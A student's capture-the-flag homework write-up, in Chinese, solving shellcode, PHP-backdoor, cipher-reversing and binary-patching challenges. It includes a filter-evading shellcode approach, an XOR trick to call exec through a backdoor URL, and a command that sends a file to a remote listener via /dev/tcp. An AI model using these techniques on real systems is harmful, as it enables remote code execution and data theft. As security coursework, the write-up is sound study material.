Computer Security Homework 0x00

Real name: 涂世昱

Nickname: R07922115

Student ID: R07922115

shellc0de

這題目的是輸入一段 shellcode 被當成函數來執行, 所輸入的 shellcode 進行 syscall 去執行 /bin/sh 的操作, 而後找到 flag 位置並且輸出。 這題的 script 為 exp.py, 將 asm 打好後經過 pwntools 所轉成的一串 bytecode, 而這段 assembly 所作的事情就是 execve("/bin/sh"), 將此 assembly 用 pwntools 的 asm() 函數包起來就會變成一個字串, 又因為 syscall 這個 assembly 所轉成的字串會被轉換成 '\x0f\x05', "mov rax, 59" (指定 syscall 為 execve) 會變成 'H\xc7\xc0;\x00\x00\x00', 而在 shell.c 當中就會把 0x00, 0x05, 0x0f 判斷, 若是 shellcode 當中出現這幾個 byte 就會終止執行。 於是我將轉出來的 bytecode 用 pwnlib.encoders.encoder.encode 將 shellcode 再轉換成不包含那些 byte 的 shellcode, 但維持原先的 assembly 操作, 最終就可以解出這題。

script: exp.py 將 execve(/bin/ls), 的 syscall 用 asm 表示出來後再用 pwntools 轉成 bytecode 的形式之後在 encode 成新的 bytecode 使它不包含 0x00, 0x05, 0x0f, 然後送到 server 即可以得到 shell.

open my backdoor

進入連結打開門之後會出現 php 程式碼, 仔細觀察後得出結果是它會由 url 輸入的變數, $_GET[87], 來決定所要執行的函數名稱, 且此函數名稱是由四個英文字母所組成的, 就可以聯想出像是 echo, exec, eval, ..., 這些可能, 然後將這些東西和 'd00r' 對照 ascii table 16進位的結果在 xor 就可得出該輸入的 url 內容, 例如

> 'd00r' ^ 'exec' = ['0x1', '0x48', '0x55', '0x11'] -> url: ?87=%01HU%11

, 接著再透過 $*POST{'#'} (e.g. ${*"\x50\x4f\x53\x54"}{$c}) 來傳入此函數的參數。 因為最終目標是將 server 的 flag 印出來, 所以勢必先將所在位置的檔案都印出來。首先先考慮 echo($(system(ls))), 但根據 php manual

> Note: Because this is a language construct and not a function, it cannot be called using variable functions. 故此法行不通

接著只好試試 exec(ls), 但問題是該如何把 server 那邊 ls 的結果傳回本地呢? 可以先用 nc 在本地開一個 listening port, 再將 server ls 的結果 redirect 到 /dev/tcp// 即可。 就發現 flag 被放在 ~/flag_is_here 故最終的解法為:

> labpc terminal 執行: nc -l 8888 url: http://edu-ctf.csie.org:10151/d00r.php?87=%01HU%11 post: #=cat ~/flag_is_here > /dev/tcp//8888

encrypt

原以為這題和 m4chine 一樣, 可能把 flag 輸入後它會有什麼反應, 但 cipher 又是拿來做什麼的呢？ 花了一些時間知道原來 cipher 是被加密過的 flag, 然後 encrypt.py 是把助教出的 flag 加密變成 cipher, 而我要做的是就是將此 cipher 解密成 flag。 觀察一下 encrypt.py, 我有兩個取得不到的資訊, key 與 flag, flag 本來就拿不到, 但是 key 是拿來做什麼的？ 只好再仔細看一下程式碼, 發現似乎是 key 會決定 stage1 與 stage2 的執行順序, 且 `E ** ( I * pi ) + len(key) == 0`, 所以 `len(key) == 1`, 他有 8 bits, 這些 bits 會決定要執行 stage0 還是 stage1, 隨意執行又發現字串進行兩次 stage0 就會變回原來的樣子, stage1 則否, 那麼是不是有辦法可以把 stage1 反操作, 使它也能變回來

stage1 之前的狀態, 然後仔細探究 stage1, 發現它用 for loop 依序呼叫了 op2, op3, op4 函數 16 次, 又這些 op's, 都是可逆的, 就把他們反操作, 然後將順序到過來再用 for loop 依序跑 16 次就可以得出 stage1 的反函數了。 因為已知總共執行8個 stage0, stage1, 也只有 256 種可能, 於是就可以將我所推出來的反函數用這 256 種排列組合, 用 cipher 輸入, 輸出的結果去尋找有沒有 flag, 最後就能得到 flag 了。

script: crack.py 將 cipher 讀取, 然後將它進行 stage0, stage1 的反操作, stage0, rstage1, 將所有 rstages 的排列組合的結果都輸出。

m4chine

將程式用 python 執行之後發現它要我輸入 flag, 故判斷這題應該是輸入正確的 flag, 程式應該就會輸出 "you got the flag!", 之類的結果。 由於助教給的是 pyc 執行檔, 除了 decompile 之外也沒其他線索該怎麼把 flag 猜出來, 於是就找到了 Uncompyle6, 成功將它 decompile 成原始碼, 在原始碼當中可觀察出我們所輸入的 flag 會經過 push, pop, add, sub, cmp 等操作, 然後根據 code 當中的 bytecode 會決定出這些操作的順序, 所以就可以開始改原始碼, 先猜測 flag 為 "FLAG{abcd}", 將操作和 context 結果都印出來, 就發現它都會在 cmp 之後停止, 且在它之前的操作都是 push, pop, sub, add, 且這些操作都是從 context 的最後一個元素來做操作的, 例如

> ./m4chine.py
>
> So, what is the flag ? >> FLAG{abcd}
>
> [70, 76, 65, 71, 123, 97, 98, 99, 100, 125] sub, [70, 76, 65, 71, 123, 97, 98, 99, 25]
>
> [70, 76, 65, 71, 123, 97, 98, 99, 25] push 8, [70, 76, 65, 71, 123, 97, 98, 99, 25, 8]
>
> [70, 76, 65, 71, 123, 97, 98, 99, 25, 8] add, [70, 76, 65, 71, 123, 97, 98, 99, 33]
>
> cmp 33 100
>
> [70, 76, 65, 71, 123, 97, 98, 99, 0]
>
> You fail, try again

我們所輸入的 flag 會變成 ascii 的十進位結果存到 context 當中, 首先, sub 會將 context 最後兩個元素相減然後再放到最後一個位置, push 8 則會把 8 push 到後面, add 則是將最後兩元素相加然後將結果放到最後一個位置, 最後 cmp 則是把 context 最後一個元素, 33, 和 100 比較, 發現他們兩個不相等則終止執行。 所以我們就可以猜測因為最後一個字一定是 '}', 所以倒數第二個字應該要是 '!' 最後才能和 100 相等, 所以下次就以 'FLAG{abcd!}' 做嘗試, 最終就可以完全把 flag 推測出來了。

Winmagic

從原始碼可以看出 password 是個隨機的變數, 只要輸入正確得 magic, 使得 `password == magic`, 似乎就能得到 flag, 於是就用 ida pro 找到 get flag 函數當中, 在 cmp 的那行下 breakpoint, 然後執行它使它停在那, 將 register 的值改成符合 cmp 條件的值, 就順利的把 flag 印出來了。